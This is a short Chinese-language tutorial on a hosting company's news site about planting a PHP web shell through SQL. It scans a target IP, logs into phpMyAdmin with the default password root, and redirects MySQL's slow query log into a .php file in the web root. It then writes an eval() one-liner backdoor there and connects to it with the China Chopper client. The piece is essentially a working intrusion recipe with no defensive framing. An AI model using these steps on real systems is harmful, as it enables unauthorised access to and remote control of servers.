溫馨提示×
您好，登錄后才能下訂單哦！
點擊 登錄注冊 即表示同意《億速云用戶服務條款》
您好，登錄后才能下訂單哦！
如何利用sql語句寫入shell，相信很多沒有經驗的人對此束手無策，為此本文總結了問題出現的原因和解決方法，通過這篇文章希望你能解決這個問題。
目標ip：192.168.52.143
一、御劍掃描該地址
獲取到重要信息：
1、網站的絕對路徑
2、phpmyadmin，并且是默認賬號密碼：root
解決方法：
1、設置slow_query_log=1 啟用慢查詢日志。
2、修改slow_query_log_file日志文件的絕對路徑以及文件名
set global slow_query_log_file='c:/phpstudy/www/xx.php'
3、向日志文件寫入一句話
select '<?php eval($_POST[x]);?>' or sleep(11)
三、用菜刀鏈接
看完上述內容，你們掌握如何利用sql語句寫入shell的方法了嗎？如果還想學到更多技能或想了解更多相關內容，歡迎關注億速云行業資訊頻道，感謝各位的閱讀！
免責聲明：本站發布的內容（圖片、視頻和文字）以原創、轉載和分享為主，文章觀點不代表本網站立場，如果涉及侵權請聯系站長郵箱：is@yisu.com進行舉報，并提供相關證據，一經查實，將立刻刪除涉嫌侵權內容。
